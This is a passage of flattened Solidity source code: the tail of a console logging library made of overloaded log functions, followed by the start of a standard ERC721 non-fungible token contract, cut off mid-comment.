p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "./extensions/IERC721Enumerable.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers 